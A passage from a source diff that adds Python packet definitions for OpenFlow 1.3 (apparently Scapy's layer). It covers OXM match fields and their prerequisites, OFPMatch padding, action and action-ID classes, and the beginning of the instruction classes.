+OFBIPv6SrcHMID = create_oxm_cls()
+OFBIPv6Dst = create_oxm_cls()
+OFBIPv6DstID = create_oxm_cls()
+OFBIPv6DstHM = create_oxm_cls()
+OFBIPv6DstHMID = create_oxm_cls()
+OFBIPv6FLabel = create_oxm_cls()
+OFBIPv6FLabelID = create_oxm_cls()
+OFBIPv6FLabelHM = create_oxm_cls()
+OFBIPv6FLabelHMID = create_oxm_cls()
+OFBICMPv6Type = create_oxm_cls()
+OFBICMPv6TypeID = create_oxm_cls()
+OFBICMPv6TypeHM = create_oxm_cls()
+OFBICMPv6TypeHMID = create_oxm_cls()
+OFBICMPv6Code = create_oxm_cls()
+OFBICMPv6CodeID = create_oxm_cls()
+OFBICMPv6CodeHM = create_oxm_cls()
+OFBICMPv6CodeHMID = create_oxm_cls()
+OFBIPv6NDTarget = create_oxm_cls()
+OFBIPv6NDTargetID = create_oxm_cls()
+OFBIPv6NDTargetHM = create_oxm_cls()
+OFBIPv6NDTargetHMID = create_oxm_cls()
+OFBIPv6NDSLL = create_oxm_cls()
+OFBIPv6NDSLLID = create_oxm_cls()
+OFBIPv6NDSLLHM = create_oxm_cls()
+OFBIPv6NDSLLHMID = create_oxm_cls()
+OFBIPv6NDTLL = create_oxm_cls()
+OFBIPv6NDTLLID = create_oxm_cls()
+OFBIPv6NDTLLHM = create_oxm_cls()
+OFBIPv6NDTLLHMID = create_oxm_cls()
+OFBMPLSLabel = create_oxm_cls()
+OFBMPLSLabelID = create_oxm_cls()
+OFBMPLSLabelHM = create_oxm_cls()
+OFBMPLSLabelHMID = create_oxm_cls()
+OFBMPLSTC = create_oxm_cls()
+OFBMPLSTCID = create_oxm_cls()
+OFBMPLSTCHM = create_oxm_cls()
+OFBMPLSTCHMID = create_oxm_cls()
+OFBMPLSBoS = create_oxm_cls()
+OFBMPLSBoSID = create_oxm_cls()
+OFBMPLSBoSHM = create_oxm_cls()
+OFBMPLSBoSHMID = create_oxm_cls()
+OFBPBBISID = create_oxm_cls()
+OFBPBBISIDID = create_oxm_cls()
+OFBPBBISIDHM = create_oxm_cls()
+OFBPBBISIDHMID = create_oxm_cls()
+OFBTunnelID = create_oxm_cls()
+OFBTunnelIDID = create_oxm_cls()
+OFBTunnelIDHM = create_oxm_cls()
+OFBTunnelIDHMID = create_oxm_cls()
+OFBIPv6ExtHdr = create_oxm_cls()
+OFBIPv6ExtHdrID = create_oxm_cls()
+OFBIPv6ExtHdrHM = create_oxm_cls()
+OFBIPv6ExtHdrHMID = create_oxm_cls()
+
+### need_prereq holds a list of prerequisites defined in 7.2.3.8 of the specifications
+### e.g. if you want to use an OFBTCPSrc instance (code 26)
+### you first need to declare an OFBIPProto instance (code 20) with value 6,
+### and if you want to use an OFBIPProto instance (still code 20)
+### you first need to declare an OFBEthType instance (code 10) with value 0x0800
+### (0x0800 means IPv4 by default, but you might want to use 0x86dd with IPv6)
+### need_prereq codes are two times higher than previous oxm classes codes,
+### except for 21 which is sort of a proxy for IPv6 (see below)
+need_prereq = { 14: [12, 0x1000],
+                16: [10, 0x0800],    # could be 0x86dd
+                18: [10, 0x0800],    # could be 0x86dd
+                20: [10, 0x0800],    # could be 0x86dd
+                21: [10, 0x86dd],
+                22: [10, 0x0800],
+                24: [10, 0x0800],
+                26: [20, 6],    
+                28: [20, 6],    
+                30: [20, 17],    
+                32: [20, 17],    
+                34: [20, 132],    
+                36: [20, 132],    
+                38: [20, 1],    
+                40: [20, 1],    
+                42: [10, 0x0806],
+                44: [10, 0x0806],
+                46: [10, 0x0806],
+                48: [10, 0x0806],
+                50: [10, 0x0806],
+                52: [10, 0x86dd],
+                54: [10, 0x86dd],
+                56: [10, 0x86dd],
+                58: [21, 58],        ### small trick here, we refer to normally non-
+                60: [21, 58],        ### existent field 21 to distinguish ipv6
+                62: [58, 135],       # could be 136
+                64: [58, 135],
+                66: [58, 136],
+                68: [10, 0x8847],    # could be 0x8848
+                70: [10, 0x8847],    # could be 0x8848
+                72: [10, 0x8847],    # could be 0x8848
+                74: [10, 0x88e7],
+                78: [10, 0x86dd] }
+
+class OXMPacketListField(PacketListField):
+
+    __slots__ = ["autocomplete", "index"]
+
+    def __init__(self, name, default, cls, length_from=None, autocomplete=prereq_autocomplete):
+        PacketListField.__init__(self, name, default, cls, length_from=length_from)
+        self.autocomplete = autocomplete
+        self.index = []
+    
+    def i2m(self, pkt, val):
+            ### this part makes for a faster writing of specs-compliant matches
+            ### expect some unwanted behaviour if you try incoherent associations
+            ### you might want to set autocomplete=False in __init__ method
+        if self.autocomplete:
+            # val might be modified during the loop so we need a fixed copy
+            fix_val = copy.deepcopy(val)
+            for oxm in fix_val:
+                f = 2*oxm.field
+                fix_index = list(self.index)
+                while f in need_prereq:
+                # this loop enables a small recursion
+                # e.g. ipv6_nd<--icmpv6<--ip_proto<--eth_type
+                    prereq = need_prereq[f]
+                    f = prereq[0]
+                    f2 = 20 if f == 21 else f       # ipv6 trick...
+                    if f2 not in fix_index:
+                        self.index.insert(0, f2)
+                        prrq = ofp_oxm_cls[f2]()    # never HM
+                        setattr(prrq, ofp_oxm_constr[f2//2][1], prereq[1])
+                        val.insert(0, prrq)
+                    # we could do more complicated stuff to
+                    # make sure prerequisite order is correct
+                    # but it works well when presented with any coherent input
+                    # e.g. you should not mix OFBTCPSrc with OFBICMPv6Code
+                    # and expect to get coherent results...
+                    # you can still go manual by setting prereq_autocomplete=False
+        return val
+
+    def m2i(self, pkt, s):
+        t = orb(s[2])
+        nrm_t = t - t%2
+        if nrm_t not in self.index:
+            self.index.append(nrm_t)
+        return ofp_oxm_cls.get(t, Raw)(s)
+
+    @staticmethod
+    def _get_oxm_length(s):
+        return orb(s[3])
+
+    def addfield(self, pkt, s, val):
+        return s + b"".join(raw(x) for x in self.i2m(pkt, val))
+
+    def getfield(self, pkt, s):
+        lst = []
+        lim = self.length_from(pkt)
+        ret = s[lim:]
+        remain = s[:lim]
+
+        while remain and len(remain) > 4:
+            l = OXMPacketListField._get_oxm_length(remain) + 4
+            # this could also be done by parsing oxm_fields (fixed lengths)
+            if l <= 4 or len(remain) < l:
+            # no incoherent length
+                break
+            current = remain[:l]
+            remain = remain[l:]
+            p = self.m2i(pkt, current)
+            lst.append(p)
+
+        self.index = []
+        ### since OXMPacketListField is called only twice (when OFPMatch and OFPSetField
+        ### classes are created) and not when you want to instantiate an OFPMatch,
+        ### index needs to be reinitialized, otherwise there will be some conflicts
+        ### e.g. if you create OFPMatch with OFBTCPSrc and then change to OFBTCPDst,
+        ### index will already be filled with ethertype and nwproto codes,
+        ### thus the corresponding fields will not be added to the packet
+        return remain + ret, lst
+
+class OXMIDPacketListField(PacketListField):
+    def m2i(self, pkt, s):
+        t = orb(s[2])
+        return ofp_oxm_id_cls.get(t, Raw)(s)
+
+    def getfield(self, pkt, s):
+        lst = []
+        lim = self.length_from(pkt)
+        ret = s[lim:]
+        remain = s[:lim]
+
+        while remain and len(remain) >= 4:
+        # all OXM ID are 32-bit long (no experimenter OXM support here)
+            current = remain[:4]
+            remain = remain[4:]
+            p = self.m2i(pkt, current)
+            lst.append(p)
+
+        return remain + ret, lst
+
+
+class OFPMatch(Packet):
+    def post_build(self, p, pay):
+        l = self.length
+        if l is None:
+            l = len(p)+len(pay)
+            p = p[:2] + struct.pack("!H", l) + p[4:]
+            zero_bytes = (8 - l%8) % 8
+            p += b"\x00" * zero_bytes
+        # message with user-defined length will not be automatically padded
+        return p + pay
+
+    def extract_padding(self, s):
+        l = self.length
+        zero_bytes = (8 - l%8) % 8
+        return s[zero_bytes:], s[:zero_bytes]
+
+    name = "OFP_MATCH"
+    fields_desc= [ ShortEnumField("type", 1, { 0: "OFPMT_STANDARD",
+                                               1: "OFPMT_OXM" }),
+                   ShortField("length", None),
+                   OXMPacketListField("oxm_fields", [], Packet,
+                                      length_from=lambda pkt:pkt.length-4) ]
+
+### ofp_match is no longer a fixed-length structure in v1.3
+### furthermore it may include variable padding
+### we introduce to that end a subclass of PacketField
+class MatchField(PacketField):
+    def __init__(self, name):
+        PacketField.__init__(self, name, OFPMatch(), OFPMatch)
+
+    def getfield(self, pkt, s):
+        i = self.m2i(pkt, s)
+        ### i can be <OFPMatch> or <OFPMatch <Padding>>
+        ### or <OFPMatch <Raw>> or <OFPMatch <Raw <Padding>>>
+        ### and we want to return "", <OFPMatch> or "", <OFPMatch <Padding>>
+        ### or raw(<Raw>), <OFPMatch> or raw(<Raw>), <OFPMatch <Padding>>
+        if Raw in i:
+            r = i[Raw]
+            if Padding in r:
+                p = r[Padding]
+                i.payload = p
+                del(r.payload)
+            return r.load, i
+        else:
+            return b"", i
+
+
+###################### Actions ######################
+
+class _ofp_action_header(Packet):
+    name = "Dummy OpenFlow Action Header"
+
+    def post_build(self, p, pay):
+        if self.len is None:
+            l = len(p)+len(pay)
+            p = p[:2] + struct.pack("!H", l) + p[4:]
+        return p + pay
+
+ofp_action_types = {     0: "OFPAT_OUTPUT",
+                         1: "OFPAT_SET_VLAN_VID",
+                         2: "OFPAT_SET_VLAN_PCP",
+                         3: "OFPAT_STRIP_VLAN",
+                         4: "OFPAT_SET_DL_SRC",
+                         5: "OFPAT_SET_DL_DST",
+                         6: "OFPAT_SET_NW_SRC",
+                         7: "OFPAT_SET_NW_DST",
+                         8: "OFPAT_SET_NW_TOS",
+                         9: "OFPAT_SET_TP_SRC",
+                        10: "OFPAT_SET_TP_DST",
+                        #11: "OFPAT_ENQUEUE",
+                        11: "OFPAT_COPY_TTL_OUT",
+                        12: "OFPAT_COPY_TTL_IN",
+                        13: "OFPAT_SET_MPLS_LABEL",
+                        14: "OFPAT_DEC_MPLS_TC",
+                        15: "OFPAT_SET_MPLS_TTL",
+                        16: "OFPAT_DEC_MPLS_TTL",
+                        17: "OFPAT_PUSH_VLAN",
+                        18: "OFPAT_POP_VLAN",
+                        19: "OFPAT_PUSH_MPLS",
+                        20: "OFPAT_POP_MPLS",
+                        21: "OFPAT_SET_QUEUE",
+                        22: "OFPAT_GROUP",
+                        23: "OFPAT_SET_NW_TTL",
+                        24: "OFPAT_DEC_NW_TTL",
+                        25: "OFPAT_SET_FIELD",
+                        26: "OFPAT_PUSH_PBB",
+                        27: "OFPAT_POP_PBB",
+                     65535: "OFPAT_EXPERIMENTER" }
+
+class OFPATOutput(_ofp_action_header):
+    name = "OFPAT_OUTPUT"
+    fields_desc = [ ShortEnumField("type", 0, ofp_action_types),
+                    ShortField("len", 16),
+                    IntEnumField("port", 0, ofp_port_no),
+                    ShortEnumField("max_len", "NO_BUFFER", ofp_max_len),
+                    XBitField("pad", 0, 48) ]
+
+# the following actions are not supported by OFv1.3
+
+class OFPATSetVLANVID(_ofp_action_header):
+    name = "OFPAT_SET_VLAN_VID"
+    fields_desc = [ ShortEnumField("type", 1, ofp_action_types),
+                    ShortField("len", 8),
+                    ShortField("vlan_vid", 0),
+                    XShortField("pad", 0) ]
+
+class OFPATSetVLANPCP(_ofp_action_header):
+    name = "OFPAT_SET_VLAN_PCP"
+    fields_desc = [ ShortEnumField("type", 2, ofp_action_types),
+                    ShortField("len", 8),
+                    ByteField("vlan_pcp", 0),
+                    X3BytesField("pad", 0) ]
+
+class OFPATStripVLAN(_ofp_action_header):
+    name = "OFPAT_STRIP_VLAN"
+    fields_desc = [ ShortEnumField("type", 3, ofp_action_types),
+                    ShortField("len", 8),
+                    XIntField("pad", 0) ]
+
+class OFPATSetDlSrc(_ofp_action_header):
+    name = "OFPAT_SET_DL_SRC"
+    fields_desc = [ ShortEnumField("type", 4, ofp_action_types),
+                    ShortField("len", 16),
+                    MACField("dl_addr", "0"),
+                    XBitField("pad", 0, 48) ]
+
+class OFPATSetDlDst(_ofp_action_header):
+    name = "OFPAT_SET_DL_DST"
+    fields_desc = [ ShortEnumField("type", 5, ofp_action_types),
+                    ShortField("len", 16),
+                    MACField("dl_addr", "0"),
+                    XBitField("pad", 0, 48) ]
+
+class OFPATSetNwSrc(_ofp_action_header):
+    name = "OFPAT_SET_NW_SRC"
+    fields_desc = [ ShortEnumField("type", 6, ofp_action_types),
+                    ShortField("len", 8),
+                    IPField("nw_addr", "0") ]
+
+class OFPATSetNwDst(_ofp_action_header):
+    name = "OFPAT_SET_NW_DST"
+    fields_desc = [ ShortEnumField("type", 7, ofp_action_types),
+                    ShortField("len", 8),
+                    IPField("nw_addr", "0") ]
+
+class OFPATSetNwToS(_ofp_action_header):
+    name = "OFPAT_SET_TP_TOS"
+    fields_desc = [ ShortEnumField("type", 8, ofp_action_types),
+                    ShortField("len", 8),
+                    ByteField("nw_tos", 0),
+                    X3BytesField("pad", 0) ]
+
+class OFPATSetTpSrc(_ofp_action_header):
+    name = "OFPAT_SET_TP_SRC"
+    fields_desc = [ ShortEnumField("type", 9, ofp_action_types),
+                    ShortField("len", 8),
+                    ShortField("tp_port", 0),
+                    XShortField("pad", 0) ]
+
+class OFPATSetTpDst(_ofp_action_header):
+    name = "OFPAT_SET_TP_DST"
+    fields_desc = [ ShortEnumField("type", 10, ofp_action_types),
+                    ShortField("len", 8),
+                    ShortField("tp_port", 0),
+                    XShortField("pad", 0) ]
+
+#class OFPATEnqueue(_ofp_action_header):
+#       name = "OFPAT_ENQUEUE"
+#       fields_desc = [ ShortEnumField("type", 11, ofp_action_types),
+#                       ShortField("len", 16),
+#                       ShortField("port", 0),
+#                       XBitField("pad", 0, 48),
+#                       IntEnumField("queue_id", 0, ofp_queue) ]
+
+class OFPATSetMPLSLabel(_ofp_action_header):
+    name = "OFPAT_SET_MPLS_LABEL"
+    fields_desc = [ ShortEnumField("type", 13, ofp_action_types),
+                    ShortField("len", 8),
+                    IntField("mpls_label", 0) ]
+
+class OFPATSetMPLSTC(_ofp_action_header):
+    name = "OFPAT_SET_MPLS_TC"
+    fields_desc = [ ShortEnumField("type", 14, ofp_action_types),
+                    ShortField("len", 8),
+                    ByteField("mpls_tc", 0),
+                    X3BytesField("pad", 0) ]
+
+# end of unsupported actions
+
+class OFPATCopyTTLOut(_ofp_action_header):
+    name = "OFPAT_COPY_TTL_OUT"
+    fields_desc = [ ShortEnumField("type", 11, ofp_action_types),
+                    ShortField("len", 8),
+                    XIntField("pad", 0) ]
+
+class OFPATCopyTTLIn(_ofp_action_header):
+    name = "OFPAT_COPY_TTL_IN"
+    fields_desc = [ ShortEnumField("type", 12, ofp_action_types),
+                    ShortField("len", 8),
+                    XIntField("pad", 0) ]
+
+class OFPATSetMPLSTTL(_ofp_action_header):
+    name = "OFPAT_SET_MPLS_TTL"
+    fields_desc = [ ShortEnumField("type", 15, ofp_action_types),
+                    ShortField("len", 8),
+                    ByteField("mpls_ttl", 0),
+                    X3BytesField("pad", 0) ]
+
+class OFPATDecMPLSTTL(_ofp_action_header):
+    name = "OFPAT_DEC_MPLS_TTL"
+    fields_desc = [ ShortEnumField("type", 16, ofp_action_types),
+                    ShortField("len", 8),
+                    XIntField("pad", 0) ]
+
+class OFPATPushVLAN(_ofp_action_header):
+    name = "OFPAT_PUSH_VLAN"
+    fields_desc = [ ShortEnumField("type", 17, ofp_action_types),
+                    ShortField("len", 8),
+                    ShortField("ethertype", 0x8100),    # or 0x88a8
+                    XShortField("pad", 0) ]
+
+class OFPATPopVLAN(_ofp_action_header):
+    name = "OFPAT_POP_VLAN"
+    fields_desc = [ ShortEnumField("type", 18, ofp_action_types),
+                    ShortField("len", 8),
+                    XIntField("pad", 0) ]
+
+class OFPATPushMPLS(_ofp_action_header):
+    name = "OFPAT_PUSH_MPLS"
+    fields_desc = [ ShortEnumField("type", 19, ofp_action_types),
+                    ShortField("len", 8),
+                    ShortField("ethertype", 0x8847),    # or 0x8848
+                    XShortField("pad", 0) ]
+
+class OFPATPopMPLS(_ofp_action_header):
+    name = "OFPAT_POP_MPLS"
+    fields_desc = [ ShortEnumField("type", 20, ofp_action_types),
+                    ShortField("len", 8),
+                    ShortField("ethertype", 0x8847),    # or 0x8848
+                    XShortField("pad", 0) ]
+
+class OFPATSetQueue(_ofp_action_header):
+    name = "OFPAT_SET_QUEUE"
+    fields_desc = [ ShortEnumField("type", 21, ofp_action_types),
+                    ShortField("len", 8),
+                    IntEnumField("queue_id", 0, ofp_queue) ]
+
+class OFPATGroup(_ofp_action_header):
+    name = "OFPAT_GROUP"
+    fields_desc = [ ShortEnumField("type", 22, ofp_action_types),
+                    ShortField("len", 8),
+                    IntEnumField("group_id", 0, ofp_group) ]
+
+class OFPATSetNwTTL(_ofp_action_header):
+    name = "OFPAT_SET_NW_TTL"
+    fields_desc = [ ShortEnumField("type", 23, ofp_action_types),
+                    ShortField("len", 8),
+                    ByteField("nw_ttl", 0),
+                    X3BytesField("pad", 0) ]
+
+class OFPATDecNwTTL(_ofp_action_header):
+    name = "OFPAT_DEC_NW_TTL"
+    fields_desc = [ ShortEnumField("type", 24, ofp_action_types),
+                    ShortField("len", 8),
+                    XIntField("pad", 0) ]
+
+class OFPATSetField(_ofp_action_header):
+
+    def post_build(self, p, pay):
+        l = self.len
+        zero_bytes = 0
+        if l is None:
+            l = len(p)+len(pay)
+            zero_bytes = (8 - l%8) % 8
+            l = l + zero_bytes    # add padding length
+            p = p[:2] + struct.pack("!H", l) + p[4:]
+        else:
+            zero_bytes = (8 - l%8) % 8
+        # every message will be padded correctly
+        p += b"\x00" * zero_bytes
+        return p + pay
+
+    def extract_padding(self, s):
+        return "", s
+
+    name = "OFPAT_SET_FIELD"
+    fields_desc = [ ShortEnumField("type", 25, ofp_action_types),
+                    ShortField("len", None),
+                    # there should not be more than one oxm tlv
+                    OXMPacketListField("field", [], Packet,
+                                       length_from=lambda pkt:pkt.len-4,
+                                       # /!\ contains padding!
+                                       autocomplete=False) ]
+
+class OFPATPushPBB(_ofp_action_header):
+    name = "OFPAT_PUSH_PBB"
+    fields_desc = [ ShortEnumField("type", 26, ofp_action_types),
+                    ShortField("len", 8),
+                    ShortField("ethertype", 0x88e7),
+                    XShortField("pad", 0) ]
+
+class OFPATPopPBB(_ofp_action_header):
+    name = "OFPAT_POP_PBB"
+    fields_desc = [ ShortEnumField("type", 27, ofp_action_types),
+                    ShortField("len", 8),
+                    XIntField("pad", 0) ]
+
+class OFPATExperimenter(_ofp_action_header):
+    name = "OFPAT_EXPERIMENTER"
+    fields_desc = [ ShortEnumField("type", 65535, ofp_action_types),
+                    ShortField("len", 8),
+                    IntField("experimenter", 0) ]
+
+ofp_action_cls = {     0: OFPATOutput,
+                       1: OFPATSetVLANVID,
+                       2: OFPATSetVLANPCP,
+                       3: OFPATStripVLAN,
+                       4: OFPATSetDlSrc,
+                       5: OFPATSetDlDst,
+                       6: OFPATSetNwSrc,
+                       7: OFPATSetNwDst,
+                       8: OFPATSetNwToS,
+                       9: OFPATSetTpSrc,
+                      10: OFPATSetTpDst,
+                      #11: OFPATEnqueue,
+                      11: OFPATCopyTTLOut,
+                      12: OFPATCopyTTLIn,
+                      13: OFPATSetMPLSLabel,
+                      14: OFPATSetMPLSTC,
+                      15: OFPATSetMPLSTTL,
+                      16: OFPATDecMPLSTTL,
+                      17: OFPATPushVLAN,
+                      18: OFPATPopVLAN,
+                      19: OFPATPushMPLS,
+                      20: OFPATPopMPLS,
+                      21: OFPATSetQueue,
+                      22: OFPATGroup,
+                      23: OFPATSetNwTTL,
+                      24: OFPATDecNwTTL,
+                      25: OFPATSetField,
+                      26: OFPATPushPBB,
+                      27: OFPATPopPBB,
+                   65535: OFPATExperimenter }
+
+class ActionPacketListField(PacketListField):
+    def m2i(self, pkt, s):
+        t = struct.unpack("!H", s[:2])[0]
+        return ofp_action_cls.get(t, Raw)(s)
+
+    @staticmethod
+    def _get_action_length(s):
+        return struct.unpack("!H", s[2:4])[0]
+
+    def getfield(self, pkt, s):
+        lst = []
+        remain = s
+
+        while remain and len(remain)>=4:
+            l = ActionPacketListField._get_action_length(remain)
+            if l < 8 or len(remain) < l:
+              # length should be at least 8 (non-zero, 64-bit aligned),
+              # and no incoherent length
+              break
+            current = remain[:l]
+            remain = remain[l:]
+            p = self.m2i(pkt, current)
+            lst.append(p)
+
+        return remain, lst
+
+
+##################### Action IDs ####################
+
+# length is computed as in instruction structures,
+# so we reuse _ofp_instruction_header
+
+class OFPATOutputID(_ofp_action_header):
+    name = "OFPAT_OUTPUT"
+    fields_desc = [ ShortEnumField("type", 0, ofp_action_types),
+                    ShortField("len", 4) ]
+
+# the following actions are not supported by OFv1.3
+
+class OFPATSetVLANVIDID(_ofp_action_header):
+    name = "OFPAT_SET_VLAN_VID"
+    fields_desc = [ ShortEnumField("type", 1, ofp_action_types),
+                    ShortField("len", 4) ]
+
+class OFPATSetVLANPCPID(_ofp_action_header):
+    name = "OFPAT_SET_VLAN_PCP"
+    fields_desc = [ ShortEnumField("type", 2, ofp_action_types),
+                    ShortField("len", 4) ]
+
+class OFPATStripVLANID(_ofp_action_header):
+    name = "OFPAT_STRIP_VLAN"
+    fields_desc = [ ShortEnumField("type", 3, ofp_action_types),
+                    ShortField("len", 4) ]
+
+class OFPATSetDlSrcID(_ofp_action_header):
+    name = "OFPAT_SET_DL_SRC"
+    fields_desc = [ ShortEnumField("type", 4, ofp_action_types),
+                    ShortField("len", 4) ]
+
+class OFPATSetDlDstID(_ofp_action_header):
+    name = "OFPAT_SET_DL_DST"
+    fields_desc = [ ShortEnumField("type", 5, ofp_action_types),
+                    ShortField("len", 4) ]
+
+class OFPATSetNwSrcID(_ofp_action_header):
+    name = "OFPAT_SET_NW_SRC"
+    fields_desc = [ ShortEnumField("type", 6, ofp_action_types),
+                    ShortField("len", 4) ]
+
+class OFPATSetNwDstID(_ofp_action_header):
+    name = "OFPAT_SET_NW_DST"
+    fields_desc = [ ShortEnumField("type", 7, ofp_action_types),
+                    ShortField("len", 4) ]
+
+class OFPATSetNwToSID(_ofp_action_header):
+    name = "OFPAT_SET_TP_TOS"
+    fields_desc = [ ShortEnumField("type", 8, ofp_action_types),
+                    ShortField("len", 4) ]
+
+class OFPATSetTpSrcID(_ofp_action_header):
+    name = "OFPAT_SET_TP_SRC"
+    fields_desc = [ ShortEnumField("type", 9, ofp_action_types),
+                    ShortField("len", 4) ]
+
+class OFPATSetTpDstID(_ofp_action_header):
+    name = "OFPAT_SET_TP_DST"
+    fields_desc = [ ShortEnumField("type", 10, ofp_action_types),
+                    ShortField("len", 4) ]
+
+#class OFPATEnqueueID(_ofp_action_header):
+#       name = "OFPAT_ENQUEUE"
+#       fields_desc = [ ShortEnumField("type", 11, ofp_action_types),
+#                       ShortField("len", 4) ]
+
+class OFPATSetMPLSLabelID(_ofp_action_header):
+    name = "OFPAT_SET_MPLS_LABEL"
+    fields_desc = [ ShortEnumField("type", 13, ofp_action_types),
+                    ShortField("len", 4) ]
+
+class OFPATSetMPLSTCID(_ofp_action_header):
+    name = "OFPAT_SET_MPLS_TC"
+    fields_desc = [ ShortEnumField("type", 14, ofp_action_types),
+                    ShortField("len", 4) ]
+
+# end of unsupported actions
+
+class OFPATCopyTTLOutID(_ofp_action_header):
+    name = "OFPAT_COPY_TTL_OUT"
+    fields_desc = [ ShortEnumField("type", 11, ofp_action_types),
+                    ShortField("len", 4) ]
+
+class OFPATCopyTTLInID(_ofp_action_header):
+    name = "OFPAT_COPY_TTL_IN"
+    fields_desc = [ ShortEnumField("type", 12, ofp_action_types),
+                    ShortField("len", 4) ]
+
+class OFPATSetMPLSTTLID(_ofp_action_header):
+    name = "OFPAT_SET_MPLS_TTL"
+    fields_desc = [ ShortEnumField("type", 15, ofp_action_types),
+                    ShortField("len", 4) ]
+
+class OFPATDecMPLSTTLID(_ofp_action_header):
+    name = "OFPAT_DEC_MPLS_TTL"
+    fields_desc = [ ShortEnumField("type", 16, ofp_action_types),
+                    ShortField("len", 4) ]
+
+class OFPATPushVLANID(_ofp_action_header):
+    name = "OFPAT_PUSH_VLAN"
+    fields_desc = [ ShortEnumField("type", 17, ofp_action_types),
+                    ShortField("len", 4) ]
+
+class OFPATPopVLANID(_ofp_action_header):
+    name = "OFPAT_POP_VLAN"
+    fields_desc = [ ShortEnumField("type", 18, ofp_action_types),
+                    ShortField("len", 4) ]
+
+class OFPATPushMPLSID(_ofp_action_header):
+    name = "OFPAT_PUSH_MPLS"
+    fields_desc = [ ShortEnumField("type", 19, ofp_action_types),
+                    ShortField("len", 4) ]
+
+class OFPATPopMPLSID(_ofp_action_header):
+    name = "OFPAT_POP_MPLS"
+    fields_desc = [ ShortEnumField("type", 20, ofp_action_types),
+                    ShortField("len", 4) ]
+
+class OFPATSetQueueID(_ofp_action_header):
+    name = "OFPAT_SET_QUEUE"
+    fields_desc = [ ShortEnumField("type", 21, ofp_action_types),
+                    ShortField("len", 4) ]
+
+class OFPATGroupID(_ofp_action_header):
+    name = "OFPAT_GROUP"
+    fields_desc = [ ShortEnumField("type", 22, ofp_action_types),
+                    ShortField("len", 4) ]
+
+class OFPATSetNwTTLID(_ofp_action_header):
+    name = "OFPAT_SET_NW_TTL"
+    fields_desc = [ ShortEnumField("type", 23, ofp_action_types),
+                    ShortField("len", 4) ]
+
+class OFPATDecNwTTLID(_ofp_action_header):
+    name = "OFPAT_DEC_NW_TTL"
+    fields_desc = [ ShortEnumField("type", 24, ofp_action_types),
+                    ShortField("len", 4) ]
+
+class OFPATSetFieldID(_ofp_action_header):
+    name = "OFPAT_SET_FIELD"
+    fields_desc = [ ShortEnumField("type", 25, ofp_action_types),
+                    ShortField("len", 4) ]
+
+class OFPATPushPBBID(_ofp_action_header):
+    name = "OFPAT_PUSH_PBB"
+    fields_desc = [ ShortEnumField("type", 26, ofp_action_types),
+                    ShortField("len", 4) ]
+
+class OFPATPopPBBID(_ofp_action_header):
+    name = "OFPAT_POP_PBB"
+    fields_desc = [ ShortEnumField("type", 27, ofp_action_types),
+                    ShortField("len", 4) ]
+
+class OFPATExperimenterID(_ofp_action_header):
+    name = "OFPAT_EXPERIMENTER"
+    fields_desc = [ ShortEnumField("type", 65535, ofp_action_types),
+                    ShortField("len", None) ]
+
+ofp_action_id_cls = {     0: OFPATOutputID,
+                          1: OFPATSetVLANVIDID,
+                          2: OFPATSetVLANPCPID,
+                          3: OFPATStripVLANID,
+                          4: OFPATSetDlSrcID,
+                          5: OFPATSetDlDstID,
+                          6: OFPATSetNwSrcID,
+                          7: OFPATSetNwDstID,
+                          8: OFPATSetNwToSID,
+                          9: OFPATSetTpSrcID,
+                         10: OFPATSetTpDstID,
+                         #11: OFPATEnqueueID,
+                         11: OFPATCopyTTLOutID,
+                         12: OFPATCopyTTLInID,
+                         13: OFPATSetMPLSLabelID,
+                         14: OFPATSetMPLSTCID,
+                         15: OFPATSetMPLSTTLID,
+                         16: OFPATDecMPLSTTLID,
+                         17: OFPATPushVLANID,
+                         18: OFPATPopVLANID,
+                         19: OFPATPushMPLSID,
+                         20: OFPATPopMPLSID,
+                         21: OFPATSetQueueID,
+                         22: OFPATGroupID,
+                         23: OFPATSetNwTTLID,
+                         24: OFPATDecNwTTLID,
+                         25: OFPATSetFieldID,
+                         26: OFPATPushPBBID,
+                         27: OFPATPopPBBID,
+                      65535: OFPATExperimenterID }
+
+class ActionIDPacketListField(PacketListField):
+    def m2i(self, pkt, s):
+        t = struct.unpack("!H", s[:2])[0]
+        return ofp_action_id_cls.get(t, Raw)(s)
+
+    @staticmethod
+    def _get_action_id_length(s):
+        return struct.unpack("!H", s[2:4])[0]
+
+    def getfield(self, pkt, s):
+        lst = []
+        remain = s
+
+        while remain and len(remain) >= 4:
+            l = ActionIDPacketListField._get_action_id_length(remain)
+            if l < 4 or len(remain) < l:
+            # length is 4 (may be more for experimenter messages),
+            # and no incoherent length
+                break
+            current = remain[:l]
+            remain = remain[l:]
+            p = self.m2i(pkt, current)
+            lst.append(p)
+
+        return remain, lst
+
+
+#################### Instructions ###################
+
+class _ofp_instruction_header(Packet):
+    name = "Dummy OpenFlow Instruction Header"
+
+    def post_build(self, p, pay):
+        if self.len is None:
+            l = len(p)+len(pay)
+            p = p[:2] + struct.pack("!H", l) + p[4:]
+        return p + pay
+
+ofp_instruction_types = {     1: "OFPIT_GOTO_TABLE",
+                              2: "OFPIT_WRITE_METADATA",
+                              3: "OFPIT_WRITE_ACTIONS",
+                              4: "OFPIT_APPLY_ACTIONS",
+                              5: "OFPIT_CLEAR_ACTIONS",
+                              6: "OFPIT_METER",
+                          65535: "OFPIT_EXPERIMENTER" }
+
+class OFPITGotoTable(_ofp_instruction_header):
+    name = "OFPIT_GOTO_TABLE"
+    fields_desc = [ ShortEnumField("type", 1, ofp_instruction_types),
+                    ShortField("len", 8),
+                    ByteEnumField("table_id", 0, ofp_table),
+                    X3BytesField("pad", 0) ]
+
+class OFPITWriteMetadata(_ofp_instruction_header):
+    name = "OFPIT_WRITE_METADATA"
+    fields_desc = [ ShortEnumField("type", 2, ofp_instruction_types),
+                    ShortField("len", 24),
+                    XIntField("pad", 0),
+                    LongField("metadata", 0),
+                    LongField("metadata_mask", 0) ]
+
+class OFPITWriteActions(_ofp_instruction_header):
+    name = "OFPIT_WRITE_ACTIONS"
+    fields_desc = [ ShortEnumField("type", 3, ofp_instruction_types),
+                    ShortField("len", None),
+                    XIntField("pad", 0),
+                    ActionPacketListField("actions", [], Packet,
+                                          length_from=lambda pkt:pkt.len-8) ]
+
+class OFPITApplyActions(_ofp_instruction_header):
+    name = "OFPIT_APPLY_ACTIONS"
+    fields_desc = [ ShortEnumField("type", 4, ofp_instruction_types),
+                    ShortField("len", None),
+                    XIntField("pad", 0),
+                    ActionPacketListField("actions", [], Packet,
+                                          length_from=lambda pkt:pkt.len-8) ]
+
+class OFPITClearActions(_ofp_instruction_header):
+    name = "OFPIT_CLEAR_ACTIONS"
+    fields_desc = [ ShortEnumField("type", 5, ofp_instruction_types),
+                    ShortField("len", 8),
